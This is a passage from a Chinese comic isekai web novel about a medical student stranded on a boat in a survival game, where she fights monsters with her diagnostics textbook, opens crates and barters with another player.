《在生存游戏获得针灸小人后》
1. 再也不要学医了!
凌晨一点半,距离期末考试还有不到半个月的时间。
想到将在一周内同时考的《诊断学》、《方剂学》、《内经选读》,林玖安一口气喝完杯子里所剩不多的橙C美式,抱着厚重的《诊断学》课本,半眯着双眼,喃喃道:“再看半个小时,再看半个小时我就回去睡觉!”
“让你学医,让你手贱填什么劳子医学专业!这下好啦,觉也睡不足了吧,头发也掉光了吧,下辈子再也不学了!”玖安在心里不断嘶吼。
玖安努力瞪大快变成一条直线的双眼,将注意力放在课本上,但是本来就小得像个蚂蚁的字逐渐变得越来越小,模糊成一片马赛克。
下一秒,玖安的脑袋就重重地磕在桌子上,发出清脆的声响。旁边还在自习的同学投来震惊的目光,嗯,挺好听的,好听就是好头。就是这情况是睡着了,还是需要像自己这样的绝世好心人帮忙叫个救护车呢?
这位脑子里已经给自己颁发了感动华国十大人物奖的好心同学还没来得及上前查看情况,竟也直直倒了下去,不省人事。
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林玖安蹦了起来,完蛋了,完蛋了,昨天定的目标又没有完成,看不完了,来不及了!怎么办,万一挂科了怎么办!老师求捞捞!下个学期她一定会努力的!
还没等玖安给自己一个巴掌,突然一个晃荡,玖安踉跄着,摔倒在地。
此时玖安才惊觉自己正处在一个完全陌生的地方——一艘飘荡在大海上的破落小舟上。
大海辽阔,一眼望去,没有边际。云天相接,浓郁的白云看似从海面蒸腾而起。
茫茫的海洋上,看不见其它生物的迹象。
林玖安顺势躺在小舟上,亲爱的妈妈,今晚不用留她的饭了,你乖巧可爱善良勤劳爱学习的女鹅今天就要去远航了。
阳光依旧普罗大众,照顾了玖安每一寸裸露的肌肤。
玖安却觉得心里有些冷意,无措丛然而生。
但事以至此,毫无他法。她不打算坐以待毙,便爬了起来,观察小舟的环境。
小舟破落,脚下的木板缝隙污黑,仅仅能并排躺下三两个人的大小,玖安甚至觉得不如她家里的双人床大。
至于学校的床,就毫无对比的必要了,众所周知,学校的床非常适合喜欢小空间的同志,一眼看得到尽头,非常有安全感。
水下深黑,似乎有着一片巨大的阴影。
要是掉在这样的海里,估计连学院里最会捞的老师,也打捞不起来了,所以到底发生了什么?
林玖安无能崩溃,又在想别人醒来,都是在八百米豪华别墅,都是人,凭什么她醒来是在破落小舟?她也要大房子!
正在疯狂挠头时却发现破落小舟上出现了一本书,是熟悉的蓝色封面,和无数本她曾经拜读过的爱情大作——蓝色生死恋非常相似。
玖安双手捧起这本书,正是在医学生中有着盛名的《诊断学》。此时这本伤害了无数医学生芳心的小渣书显得如此的与众不同,像是出国外镀金回来的学渣。
书的上方,漂浮着几个金光闪闪的大字:【医学生的《诊断学》】,那炫目的金光,几乎要亮瞎了玖安的24k清澈纯真大眼睛。
玖安感觉自己看到了开屏的雄孔雀。
她抚上那行炫目的字体,金光变成无数小点散开,又重新组成了一大串小字:
众所周知,每一位医学生都深爱着他们的《诊断学》课本。
《诊断学》通常能在危险来临之际,给予医学生们非常大的帮助。
比如说:面对医闹的时候,一刀下去,还没砍穿绪论。
《诊断学》,医学生们的家居好物。
技能:
抵御同等级下百分之六十的伤害,抵御百分比随对方等级升高而降低。(可升级)
是金手指!
林玖安喜极而泣,人呐,甚至不能共情前一秒的自己。她觉得昨天那个嘶吼着再也不要学医的自己是多么肤浅,多么天真啊!
开玩笑的啦,学医多好啊,学医多有前途啊,哪时候不学?像她们这样的医学生,又斯文又耀眼,谁不羡慕啊!
玖安紧紧抱住了自己的金手指。
“哈喽哈喽,黑眼圈看起来有点严重的人类小姑娘。”
一只圆滚滚胖嘟嘟,看起来就非常饱满多汁的西红柿出现在玖安的眼前。
它不知从哪里变出一本小册子,讲究地掏出一个金丝单边眼睛,小心地戴在脸上。本来就小的豆豆眼看起来又缩水了一些。现在看起来一直眼睛大,一直眼睛小。
玖安嘴角抽动了一下,但是还好忍住了,没有笑出声来。
“A区林玖安,确认信息无误。”番茄脑袋观察了一会玖安,又对比了一下手里的册子,满意地点点头。
“欢迎来到新世界,我是A区管理员圣女果,新人指南已经发放成功,游戏愉快哦!”
玖安的手腕处出现了一块透明屏幕,来不及思考为什么一个大番茄要称呼自己为圣女果,圣女果同志就跨上了一辆散发着五彩炫目光芒的摩托车,biu的一声飞了出去。
遥遥听见圣女果的声音:有事没事,请勿打扰,就算打扰,果也不回。有缘再见……
很快就彻底看不见圣女果的身影了,玖安只得定下心神,观察起突然出现的屏幕。
点一点屏幕,放大的光幕就出现在她眼前。
光幕内容很简单,里面只有一个软件,比许多新买的手机界面还要干净。
点开后,就像玖安曾经玩过的许多款游戏一样,跳出了任务指引。
主线任务:扩大并完善你的领地。奖励:未知
支线任务:获取一份食物。奖励:未知
制作一件顺手的工具。奖励:未知
探索附近海域。奖励:未知
看着奖励一栏,玖安陷入了长久的沉默,搞这么神秘,这真的不是空头支票吗?
小舟依旧在水面上晃荡,只是不知撞到了什么东西,稍微停顿了一下。
玖安轻易看见了碰撞到小舟的东西——一个木箱子,一个不知道什么时候出现的箱子。
理所当然的,玖安趴在小舟边上,把箱子弄了上来。
在水面上显得格外安静的木箱子此时却暴躁地晃动起来,像是喝醉了酒的大汉。
质量看起来并不怎么好的木箱很快被顶破,一团阴影飞身而出,发出刺耳地尖叫,直直朝玖安的方向扑来。
来不及犹豫,玖安条件反射地操起安静躺在船板上,试图减低存在感的《诊断学》,迎阴影而上,一个板子抡下去,像孙悟空身上压着的五指山,紧实地,毫无缝隙地压在阴影之上。
看不清是什么生物的阴影剧烈挣扎,想要冲破束缚它的书本。
林玖安选择一屁股坐在了《诊断学》,对不起了,《诊断学》,她也没有更好的办法了。
玖安清晰地感觉到书下的阴影,慢慢从抽搐变得毫无动静。
“叮,成功击杀尖叫鸡一只,掉落鸡肉三块,铁一块,背包功能已开启。”
脑子里传来通报音,确认安全后,玖安挪开了诊断书,只见书下压着一只zip版鸡,眼睛被硬生
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生挤压出眼眶,唯一看起来没有变形的,是它的鸡喙。
一个看起来是由铁组成的,反射着光,坚硬无比的鸡喙。不敢细思,被这样的鸡喙啄到,会受怎么样的伤。
《诊断学》上粘着几根鸡毛,看起来颇有些委屈,连封面那骄傲地闪着金光的几个大字,光芒似乎都弱了些。
尖叫鸡的尸体缓缓消失了,估计已经变成背包里的鸡肉和铁块了。《诊断学》也重新变得精神抖擞起来。
玖安研究了一会新开放的背包功能,背包只有二十格,鸡肉和铁块就占了两格,实在算不上大。
好在《诊断学》也能放进去,这样就不担心亲爱的宝宝贝贝《诊断学》被搞丢了。
再查看了刚刚尖叫鸡跑出来的木箱子,箱子里还有一袋面包和一瓶有点甜牌矿泉水。
尽管面包已经被尖叫鸡的铁喙啄开且吃了一半,但好歹也是食物不是吗?至少不用吃生鸡肉了。
到底是谁搞的包装啊!这么不结实,必须给差评!
好在被吃了一半面包仍然算一份食物,支线任务成功完成。
“经验值+10,是否立刻查收奖励?”玖安选择了“是”。她面前跳出了一个大转盘,依旧继承了该游戏的优良传统——散发土豪光芒,闪瞎土帽狗眼。
定睛一看,玖安头上冒出了巨大的问号,怎么还有奖励是一粒米?而且还占了高达百分之五十的比例!
不愧是新世界资本家,发最亮的光,给最扣的奖励。
玖安两掌合并,虔诚地朝天空方向拜了拜,“亲爱的老天奶啊,保佑一下您尊老爱幼,从不闯红灯的乖孩子!”
说完,玖安用力扒拉了一下转盘,转盘飞快转动起来,还不忘自带bjm。
伴着“一闪一闪亮晶晶”的旋律,转盘非常愉快地转了大半天,把身上的每一块筋骨都活动开了,才终于舍得停了下来。
要问为什么知道是转了大半天,玖安瞥了瞥天空,余霞染红天际,似老天奶换上了新衣。
真好,相信要是现在转盘下海里游泳,绝对不会腿抽筋。
玖安忍耐住一脚把转盘踹飞的冲动,看着运动过度虚脱的指针颤颤巍巍停在了“一粒米”上。
“一粒米”出现在玖安的手心,是真真实实的一粒米,和所有她见过的米一样,掉了就找不着的小小的“一粒米”。
玖安瞬间感觉天都要塌了。
老天奶,果然爱会消失。玖安幽幽叹气,无奈将米收回背包,避免它一不小心就奔向自由。
到了晚上,水里又出现了木箱子的踪影,看起来是到了刷新时间。
这一次,木箱子距离破落小舟有着不小的距离,玖安努力了好一会,手尽力伸到最长,又用上了已经被分尸的木板,废了老大不小的力气,终于将水上的箱子扒拉到了小舟上。
这一次木箱子没有蹦出个什么活蹦乱跳的生物,玖安一手抓着诊断书,一手小心翼翼地打开了木箱,很安静,没有什么奇怪的动静。
她晃动木箱,什么东西掉了出来,是一根鱼竿,一根笔直的竹子做成的鱼竿。
竹竿入手温润,依稀能看见它曾经的翠绿坚劲。
【破落户的钓鱼竿】
破落户是一位合格的钓鱼佬,准备鱼饵,寻找钓鱼圣地,打窝,然后花上不值得一提的时间沉浸在这个小小的爱好里。毫无疑问,破落户是一位合格的钓鱼佬。
技能:极大概率钓上除了鱼以外的任何物品,骄傲的钓鱼佬,从来不会允许自己空军!
“叮,检测到玩家获取钓具,开启生活技能。请成功进行一次海钓,奖励:未知。”
2. 学医好啊,学医妙
此时夜吞食掉了最后一丝带着温度的光,在黑幕之下尽情展现自己的魅力。
天穹之上,群星细语。
陌生的世界,倒也不显得十分可怖,隐约还多了些现实少见的闲适松散。
随着光明弥散的,是温度。逐渐下降的气温,不至于冻人,但腥咸的海风,带着丝丝潮意和凉意,浸入玖安的骨肉,将她的困意驱逐。
这一天里发生的事情实在是过于离奇了,哪怕林玖安的接受度良好,陌生的世界依旧占据了她的大量心力,以至于完全忘记了在现实里寸步不离的手机爹。
此时到了夜深人寂,该看点什么有趣的东西哄哄自己早点睡的时候,才发觉精神食粮早就不知踪影了。
没有事情做的晚上,稍微有点不适应,没有困意但不学习的晚上,难熬。
事已至此,想起刚刚获得的鱼竿,玖安决定钓钓鱼。
她沉肃着脸,一本正经地从背包里掏出比破落小舟还长的鱼竿,取了些干干巴巴小面包作鱼饵,像模像样地甩起了钩。
不多时,有东西上钩,很重的东西,一个不留心,玖安差点就要被拖下水了。
怎么快就有收获,这难道就是所谓的新手保护期吗?
玖安打起精神,与想象中很大很重很漂亮的鱼殊死搏斗,你来我往,拉扯得有来有回。废了九牛二虎之力,她终于把东西拖了上来。
是一块大石头。
玖安揉着发痛的手腕,目瞪口呆,一脸呆滞。早知如此,还费那虎劲作什么?还不如背背书睡了算了。
面前的石头两个巴掌大小,乌漆嘛黑,和天底下成千上万的石块一样,有着崎岖不平的表面,实在看不出有什么特别之处。
玖安发蒙的脑袋瓜子终于想起了关于这根鱼竿的介绍——一根钓鱼佬的鱼竿,除了鱼以外不空军。
任务没有完成,看样子这块石头并不能算在海钓物品里面。
玖安突发奇想:既然钓鱼佬的鱼竿不会空军,这么说不放鱼饵的话,也能钓上东西来喽?
想到便做,她再一次甩钩,自我感觉十分良好,这么利落的动作,一定很酷。
不出所料,哪怕没有鱼饵,林玖安还是十分轻松地钓上来了很多东西——一堆破烂。
她看着小舟上不知道什么时候钓起来的裂了条缝的铁锅,湿淋淋的褪色外衣,还有一把看起来尚且还算完好的深绿色雨伞,四十五度角仰望天空,陷入沉默。
这个海底下到底都有些什么啊!
玖安不敢置信,玖安越挫越勇。她就不信自己完不成这个海钓的任务!
不知不觉中,玖安悟到了钓鱼佬的真谛——钓鱼那钓的都不是鱼,是心境。是一种甘于毫无收获,磨练自己耐性的心境。
好吧,其实挣的就是那一口气。
但是这一次,久久没有东西上钓。
紧绷的心弦在漫长的等待中逐渐松懈,倦意和饥饿如雨后的春笋一般冒了出来。
玖安草草解决了干干巴巴砖块小面包,喝了些水,不算美味,但好在及时地给她提供了充足的热量。
腹中有食物,漂浮的心情又安定了下来,黑夜下的海水掀起波浪,盈盈月光像碎银洒在海面。
熟悉的牵拉感又出现了,恢复了体力的玖安大显神威,轻易将上钩的东西拉了上来。
看起来轻松,实际上也轻松。
是一大颗生蚝!
“叮,海钓任务已完成,经验值+10,是否现在领取奖励?”
又是熟悉的大转盘,这一次玖安吸取了上一次的经验,用仅仅可以压扁邪恶黑蚊子的力度,推动转盘。
转盘颤颤巍巍,像是没吃饱的太奶,滑过百分之五十的“一粒米”和百分之三十的“谢谢参与”,停在了细细的一条缝上。
神秘大奖!
林玖安面色潮红,心跳加速,颇觉自己心律失常。
“恭喜玩家获得神秘大奖一份!是否现在打开?”
玖安选择了是。
出现在玖安面前的,是一小团拇指大小的火焰。
【医学生的爱】
怎么会有医学生不爱学医呢?医学明明非常有前途,光宗耀祖,就靠它啦!医学生对医学的爱,就像火焰一样热烈!
技能:医学生的爱,是一团火焰,火焰能做什么,医学生的爱就能做什么。(可升级:爱之深,火焰之烈)
小小的火焰贴着玖安的小拇指,像小狗一样蹭了蹭,然后融入了玖安的身体,变成了玖安胳膊上的一个火焰印记。
玖安心神一动,火焰便从她的掌心冒了出来。
她眼泪汪汪,喜极而泣,果然还是学医好啊,学医妙啊,哪怕书比天高,考试重点比地厚,还是学医好啊!对医学的爱又多了一点呢,下辈子还学!
这么想着,火焰像膨胀的气球,变大了一圈。源源不断的热量非常迅速地驱散了夜晚的寒气。
嘿嘿,有火了,不用担心饿到不行吃生食了。
玖安想起寄生虫课上看到的长相丑陋的扭曲虫体,打了个寒战。
肝吸虫,猪肉绦虫,蛔虫,退退退!
刚吃完一块食之无味,弃之可惜的干巴面包的玖安,脑子里浮现了碳烤生蚝,蒜蓉生蚝,生蚝蒸蛋,蚝仔粥……
又饿了,想吃……
为了吃到新鲜的,第一手生蚝肉,玖安将期待的目光放在了生蚝上,生蚝瑟缩了一下,一个用力,从船板上跳了起来,然后翻了个身,从小舟的这头,跳到了小舟的那头。
还能活蹦乱跳,看起来新鲜的紧。玖安一手紧紧钳住了乱跑的生蚝。生蚝逃,玖安追,生蚝插翅难飞。
世界上最远的距离,莫约我在这头,家在那头。生蚝流下了两条长长的面条眼泪。想回海里,再也不嫌弃海底又黑又冷了。
家是心灵的港湾,家是温暖的被窝。金窝银窝,不如自家的狗窝。但是生蚝同志注定是回不去它温暖的家了。
玖安兴致勃勃地操纵手心的火焰,烧起放在破落铁锅的生蚝,待生蚝开了一个小口,又拿起钓起来的破落石头,往缝隙处砸,试图给生蚝开个大口。
重复了许多次,生蚝终于被砸开了,同时,破落石头不堪重负,整个石块从中间不太均匀地裂开了。
一个圆溜溜,亮闪闪的珠子水灵灵地掉了出来。
【轮船的残骸】
幽深的海洋深处,有一个童话一般的王国,美丽的公主,在万千子民的期待下诞生,成长与海王海后的细心教养之下。
人鱼公主嫁给了掉在海里的王子,可是俊美高大的王子,却有着不为人知的独特爱好。
公主摘下了属于王后的华冠,公主脱下了象征颜面的厚重华服,公主摒弃属于人类的双腿,回到了海洋,用她有力的鱼尾,拍碎了追赶而来的王子。
技能:小鱼小鱼游啊游,四面八方是自由。扩建你的轮船,开往更广阔的天地。
玖安点击了使用,破落小舟的面积肉眼可见的扩大了许多,只是扩大的地方被灰色的布围了起来,上面写着大大的“扩建中”三个大字。
好吧,今晚还是得睡地板。
兴奋的情绪像潮水一般缓缓落去,困,困,困!
为了复习熬了很多天,穿到游戏里也不得安宁的玖安快要变成一个大写的“困”字了。
玖安快速解决好不容易烤熟的生蚝,安详地躺在甲板上。
几乎是脑袋沾到船板的一瞬间,玖安就陷入了深沉的睡
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眠。
年轻人就是好啊,倒头就睡,一片岁月静好……
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秦源是一个合格的社畜,在经历了整整六天的007,好不容易加班完后,他拖着疲惫的身体,带着对明天假期的美好期望,骑着自己心爱的小电驴,在赶回家的路上,猝然昏迷。
再一次醒来,就来到这个陌生的世界。
“天杀的,老子为了省那点子钱买房娶老婆可是连晚饭都没吃,就等着回家煮一碗热腾腾的泡面,还得加两个蛋一根肠那种来慰问自己的胃呢。”秦源仰天长啸。
现在好啦,存款还没花完,人已经走好一会了,虽然在异世界又活了,但是他的存款还孤零零地躺在冰冷的卡里面啊!
“亲爱的胃啊,跟了我,可真是委屈你了呢,死到临头连一碗热饭都吃不起。”秦源如此想到。
胃发出了强烈的抗议声,秦源拍了拍自己的胃,小声嘟囔道:“拜托了,别发出这么令人羞耻的叫声,我们可是体面人!”
好消息,可以开箱子,坏消息,是一个马桶。
虽然人有三急,但是这个粉色蕾丝边公主风的马桶多少与自己八块腹肌,肱二头肌发达到可以徒手索求西瓜性命的形象有些不符吧?
好消息,又有箱子了,坏消息,是一把斧头。
芭比粉别着蝴蝶结的公主专用斧。
好在这时一条满口獠牙的鱼飞跃上船,然后说时迟那时快,被秦源一斧子砍了个半死。秦源瞬间不嫌弃粉粉的斧头了。
芭比粉怎么了,像他这样的人用芭比粉也很有魅力!
前有守株待兔,后有秦源待鱼。
饿得前胸贴后背的肚子终于被安慰到了。
好消息,可以转盘,坏消息,是“一粒米”……
人总不该倒霉到这个份上,秦源瘪了瘪嘴,“哇”的一声哭了出来……
————
第二天,玖安起了个大早,远方的天空隐隐发白,太阳还躲着,不愿意早一分钟来到工位。
都怪学校七点二十就要早读,现在好啦,起得比鸡还早了吧。
此时小舟已经扩建成功了,船上出现了一个漂亮的大房间。
一走进去,舒适柔软的双人大床,符合人体设计的轻奢沙发,还有繁华复杂的吊灯。
就是不知道哪来的电源,灯居然可以打开。
都是异世界了,这种问题,不知道也罢。
不愧是王子的豪华轮船碎片,和她这等贫民的破落小舟实在不搭的很。
不过到了她手里,可都是她的了,嬉嬉,不用睡又冷又硬的破地板嘞,玖安暗喜。
“叮,好友系统和世界频道已开启,祝玩家们生活愉快,万事如意!”
点开屏幕,好友系统的置顶赫然是潮到可以让周围人风湿的圣女果大人。
头像是一张耷拉着小眼睛的大头照,差点就要找不到眼睛在哪了,看起来像是熬了几个大夜,精神萎靡,和初见的时候神采奕奕的样子实在不符。
玖安试探性地发了个“嗨”,对话框上方跳出了许多供选择的表情包,都是圣女果的恶搞表情。
对面秒回:“尊敬的玩家您好,圣女果为您服务。”
难怪一开始会有那句别打扰它的强调,打工人哪有不疯的呀!
打扰都打扰了,那干脆再多打扰一会儿吧。
“这里到底是什么地方?”
“你猜(自动回复)”
“请问怎样才能回到原本的世界?”
“你猜(自动回复)”
“。。。”
好了,现在想要发疯的是她了。
3. 【一粒种子】
得不到有用的信息,玖安打开了世界频道,找到自己所在的区。
不出所料,区频道十分热闹,说是电子菜市场也不为过。
不断冒出的消息像是没关闸的水龙头里涌出的水流,还没看清,就汇入下水道。
消息跳得太快了,玖安大致扫了一眼,没看到太多有用的消息,更多的是寻人启事,或是发表悲观言论,还有一些有趣的求助帖。
“求助,本高考生距离高考还有不到一个月,高考资料和我一起穿过来了,本人是否应该继续复习高考知识,避免有朝一日回到现实世界无法跨越高考难关。注:本人成绩优异,有望华大京大。”
底下有同是高考生庆幸不用马上面对高考决战,也有许多人发表意见,劝该名成绩优异生好好复习,不怕一万就怕万一。
当然也有人冷嘲热讽,都到异世界了,先保证自己活下去再说。
玖安想象了一下如果有一天可以回到现实,自己却因为没有复习导致挂科重修,光是想一想,感觉天都快塌了。
此时,中式教育形成了一个闭环,玖安瞥了一眼《诊断学》,下定决心有时间的时候一定要好好复习它,温故而知新!
现在的信息太多太杂,又逢海上的木箱逐渐多了起来,玖安把精力放在了捞箱子上。
今天玖安的运气不错,捞到了不少的食物,甚至还开到了一盒《藿香正气口服液》,这可是一个好东西,肚子疼呕吐腹泻都能用得上。
不知不觉中,光线变得暗淡下来,玖安有些纳闷今天怎么天黑得这么快?她从沉浸式捞箱子活动中回过神来,发现空气变得粘稠发闷。
庞大的体型并不影响乌云的行动,乌云以顺雷不及之速,霸占了大片的天空。
海风腥咸,浪变得肆无忌惮,玖安感觉身底下的小舟,晃荡不止,像一片渺小的,漂浮在辽阔的海上的叶。
她决定看一眼区频道的消息。
“怎么突然开始下雨了?我抵抗力很弱的,万一生病了怎么办?”
“啊啊啊,海浪这么大,我要晕吐了!”
“别说了,我已经被海浪冲洗了一遍又一遍了,顺便问一嘴,船进水了怎么办?”
“楼上的太惨了,我这边还是艳阳高照,快热死我了。”
……
玖安这边也开始下起了大雨,此时她也来不及看消息了,一条条奇形怪状的海洋生物顺着翻滚的海浪跳了起,向破落小舟袭来。
玖安想向豪华卧室的方向去,希望能躲在卧室里,让墙壁抵挡鱼潮。
但是不知怎的,成千上万的鱼围着她的方向有秩序地在空中游动着,她被困在鱼潮制造的龙卷风中心,寸步不能移。
“你的鱼来啦,请查收。”玖安在心里默默自嘲。
有着金色鱼鳞,嘴上长着小刀的鱼一跃而起,玖安还未反应过来,刀嘴鱼从她的手臂边飞跃而过,她的手臂瞬间多了一条细长的口子,鲜红的血液流了出来,然后很快被掀起的海水洗刷干净。
林玖安吐掉一不注意含的一大口海水,抹开被水浇得七零八落的刘海,又有一条鱼向她飞来。
【医学生的《诊断学》】为她抵御了大部分伤害,手上的伤口被盐含量超标的海水一泡,虽疼,但并没有想象中的这么严重。
玖安抄起《诊断学》,向飞奔而来的鱼挥去。
好在鱼虽长得千奇百怪,但是厚重的诊断书一如既往的非常具有实力,区区怪鱼,抵挡不了《诊断学》的攻击。
糟糕的是这场鱼潮持续的时间并不算短,源源不断的刀嘴鱼,叉子鱼,筷子鱼前仆后继,排着队向她袭来,虽不难对付,但是总有疏漏的时候。
玖安身上不知不觉多了好几个口子,海水和雨水交杂在一起,分不出彼此,不停歇地浇灌着她。
玖安不甘,玖安愤怒,玖安跪地求饶。
她是一朵娇花,请怜惜她!
就在玖安濒临力竭崩溃之际,鱼潮攻击终于停了下来,阳光破开乌云的重重阻拦,照在她的身上,给浑身湿透的她带来了一丝暖意。
此时船上多了一堆小山样的鱼,有几条鱼不死心地蹦跶,被眼疾手快的玖安拿着诊断书就是一巴掌,翻着死鱼眼,不知道是晕了还是死了。
我重生了,重生成为一条长相奇特的鱼,睁开眼的那一秒,我被突如其来的板砖抽了一巴掌,我的灵魂上了天际,又看见了熟悉的景象,在前一秒,我刚刚从这里投胎……
林玖安瘫坐在地上,毫无形象可言,自娱自乐地想着。
“叮,恭喜玩家在‘鱼潮试炼’中成功存活,奖励已发放,请玩家自行查看。”
玖安没有伤药处理伤口,好在伤口虽看起来密密麻麻,有些可怖,但并没有伤到要紧部位,或许是《诊断学》减伤的功劳吧。
她瘫坐在乱七八糟的地面上,揉了揉酸痛的手腕,挥舞了快半个小时的板砖诊断书,手还没有断,真是令人庆幸呢。
感谢每个学期必须完成的一百二十公里校园跑指标,让她这种废材大学生面对这种情形,还有一战之力。
感谢学校,感谢国家,感谢一切!
紧绷的神经骤然松懈下来,浓浓的倦怠感几乎要淹没了玖安,身体上的伤痛,精神上的疲惫,让她觉得又饥又饿。天呐,离开学校一日余,思念之情,滔滔不绝如海水。
别想了,再想下去,学校食堂那不该是人吃的玩意都要变成佳肴了。
看奖励,看奖励,没错,说不定奖励里面有什么好东西呢。
玖安打开奖励礼包,里面静静地躺着一粒拇指大小的种子,还贴心地配好了花盆等工具。
【一粒种子】
一粒种子,请好好照料它。
如此朴实无华的介绍,如此普通不抢眼的种子,黑心的破游戏,现在她连自己都快要养死了,还让她养什么不知名植物,黑心游戏,你没有心!
话虽如此,看到这颗种子,玖安种花家的基因马上被唤醒了,她不知不觉已经把种子端在手心打量了老半天,然后小心翼翼地将种子重在花盆里,还不忘浇上一点点的水。
真的是一点点,虽然今天获得的水资源还挺充足的,但是毕竟还是在海洋上,淡水是稀缺资源,不得浪费,不得浪费。
背包里多了十块鱼肉和十个铁块,回头一看,船板上鱼的尸体已经消失不见了。
一键清理功能,方便快捷,用过的玩家都说好!
好容易忙完,玖安啃了一个干巴面包,拖着沉重的身体,陷入了柔软的豪华大床,然后,打开了屏幕。
没办法,虽然已经累得不想做饭,迫不得已吃干巴面包了,但是一有空闲时间就刷手机的坏习惯还是改变不了。
“呜呜呜,被一堆海鸟袭击了,辛辛苦苦躲避了半天
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,身上多了一堆大大小小的伤口,结果奖励了一颗破种子……”
“别提了,谁有老子惨,下个雨里面全是大大小小的石头,躲又躲不掉,差点被砸成脑震荡了,那颗破种子,顶的屁用,老子早扔了,爱滚多远滚多远,老子才不伺候它!”
“求助,谁有伤药?我愿意用身上全部食物换取伤药,我的眼睛被鸟啄瞎了,求求你们了……”
看到这里,玖安有些担心起自己的家人,不知道现在他们是什么样的情形,有没有受伤?
但是就算再担心,她也毫无办法,只能保证自己的安全,至少在未来有机会见面的时候,她可以告诉自己的父母,她在异世界生活的并不差,让他们不要担心。
这么一想,她在频道里发了一条寻人启事,但是人们好不容易劫后余生,消息刷个不停,她的信息很快就看不见了。
“朋友们,刚刚战斗后我饿得实在不行,但是运气又实在差,今天一整天运气又实在差,就把之前转盘获得的‘一粒米’吃了,结果系统提示我力量加一!”
“楼上的,尊嘟假嘟?”
“保真!”
“别提了,我转了好多次都是谢谢惠顾……”
……
看到这条消息,玖安掏出了快被她遗忘的“一粒米”,既然有如此功效,那也种到花盆里,说不定到时候能获得一整束稻米。
要是种不出来,说不定还能挖出来呢,不亏!
玖安种下“一粒米”,终于安安心心地躺在船上,陷入睡眠。
就睡一会儿,就睡一会儿,她们南方人,怎么可以不午睡呢?以后的事情以后再说,睡觉可是现在的事!
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等再次醒来,原先已经打捞干净的海面上又多了许多箱子,与之前不同的是,在零零散散漂浮的几个木箱子附近,有一个银色的箱子。
银箱子看起来有些乌黑,应该是表面的银氧化了。
玖安兴致高涨,掏出鱼竿就趴在小舟边,努力地去够距离有点远的银箱子。
动作一大,伤口被拉扯,玖安手疼得一抖,差点就要把宝贝鱼竿甩出去了。
她用力抓牢鱼竿,她可以掉进海里,宝贝鱼竿可不行!
银箱子估计也看不得玖安如此苦恼,顺着水流来到玖安身边,她打捞起来,一如既往小心翼翼打开箱子。
里面蹦出一只大鸟,玖安举起她心爱的诊断书,但是这一次,哪怕用尽全力砸了许多次,大鸟依旧活蹦乱跳,甚至在她的攻击下,黑色的眼睛变成火焰般的红,羽毛根根竖起,气势汹汹向她袭来。
在被鸟翅膀扇了几个大巴掌,身上火辣辣地痛起来后,玖安终于想起了她的小火焰,火焰一出手,激动的鸟一瑟缩,扭头就要逃跑。
连鸟都知道,三十六计,走为上计,当然,好不容易找到弱点,被打了好几巴掌,现在终于占了上风的玖安当然不会给破鸟这个机会。
她操纵着火焰,向破鸟袭来。
火焰一接触到破鸟,就熊熊地燃烧起来,不多时,火就遍布了破鸟全身,看起来,鸟的羽毛没有做防火系统。
烧了没有多久,破鸟的羽毛全被烧掉了,鸟穿上了一身黑皮衣,优雅地换上“叉叉”美瞳。
一张薄薄的的纸片从箱子里掉了出来。
4. 医学生的针灸小人
【船板扩建图纸】
精致的料理,只需要简单的原料,想要扩建你的小舟,只需要一块木板和一块铁。
当然,也许您贫穷到连这点小玩意也拿不出来,拥有良好职业道德的我们并不会嘲笑您,口袋空空的玩家。
原来这个游戏也知道自己给玩家配备的初始用具只能称为小舟啊,又小又破的小舟。但是后面的那段话就没有存在的必要了吧,怪扎心的。
“叮,检测到图纸,已收录。”
光幕上多了一个被称为“图纸”的软件,点开,床板扩建图纸静悄悄地躺在里面。
玖安无奈地发现想要要使用图纸,还得先获取工具台。
工具台要在哪里获得,她没有一点头绪,如果这也要靠运气从箱子里开出来,或者抽奖获得,她不会要成为一个拥有很多图纸但是却没有用武之地的倒霉蛋吧。
想象一下自己手握金山却花不出去,倒在一堆金银饰品面前哭晕过去的样子,玖安就笑不出来。
她想起频道里似乎有交易功能,于是发出了一条交易信息,慢慢摸摸掏出了【破落户的鱼竿】,从卧室里搬出了个靠背椅,坐在小舟边开始钓鱼。
钓鱼大业,不可中道崩殂。
但是吝啬的玖安,依旧没打算给鱼钩挂上任何一点食物。
姜太公钓鱼,愿者上钩;林玖安钓鱼,笨者咬钩。
不知是不是新手光环消散的缘故,这一次钓鱼,久久没有收获。
-------------------------------------
秦源呈大字躺在床板上,他已经一天没有进食了。
这一天天倒霉催的,这么多个箱子,一点食物都是没有,全是什么破铜烂铁的。
抠门游戏,你说说他要一箱子的厕纸有什么用,方便他拉屎擦屁股吗?
这一大箱的,他就算拉到虚脱也用不完啊!
厕纸就算了,好歹还有用处,那一大袋粉红色包装的卫生巾又是以什么样的心理被他开到的,他一个顶天立地的男子汉,难道用来预防痔疮破了流血吗?那得多浪费!
啊呸,他根本没有长痔疮!
更别说今天那突如其来的石块攻击,得亏他皮糙肉厚,虽然被砸到的地方实在是有些疼痛,但是至少人还健在不是吗?
就是体力耗费的有些多,而且那石块砸完他之后就消失得无影无踪了,他可是看到频道里面那些个什么经历鸟潮,鱼潮的人,打死的鱼呀,鸟呀,最后都会变成肉全归自己的!
他倒好,多了个工具台,粉粉嫩嫩的,游戏是不是录入信息的时候把他的性别还是年龄录错了?他是男的,钢铁直男!
虽然说男生也可以喜欢粉粉嫩嫩的东西,但是他可不喜欢啊!
而且他快要饿死了,肚子空空,四大皆空,除了食欲……
他甚至开不到一瓶纯净水!
好在之前搞到的马桶里一直有水,虽然心里隔应,但是他还是苦着脸喝了,都是为了维持生命体征罢了。
秦源越想越伤心,打开光幕刷起频道,好转移肚子的饥饿。
当然,饥饿并不会转移,只会越演越烈。
直到他看到了一条消息:用十个面包,五瓶矿泉水换取工具台。
秦源一下子蹦了起来……
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玖安这次钓鱼的收获实在不怎么样,她感觉自己越来越往资深钓鱼佬的方向发展了,按照她的耐性成为空军大佬指日可待。
恰巧一棵海草飘了过来,玖安左右观望,很好,方圆十里没有活物。
她迅速捞起飘摇的海草,太好了,今天钓鱼的收获很足呢。
钓鱼佬永不空军!
虽然什么都没干,但是今天真是辛苦自己了呢。玖安收起鱼竿,看到了私信消息。
“你好,请问你是要交换工具台吗?”
“是的。”玖安选了个西红柿赞同表情包。
“纯净水可以换成食物吗?我不缺水。”秦源瞥了一眼旁边的马桶,和大部分马桶一样,里面的水冲走又会流出新的来。
嗯,反正自己不会用马桶来解决生理问题,就勉强把它当成一个马桶造型的水龙头吧,别说,在原来的世界,确实有很多类似的水龙头造型。
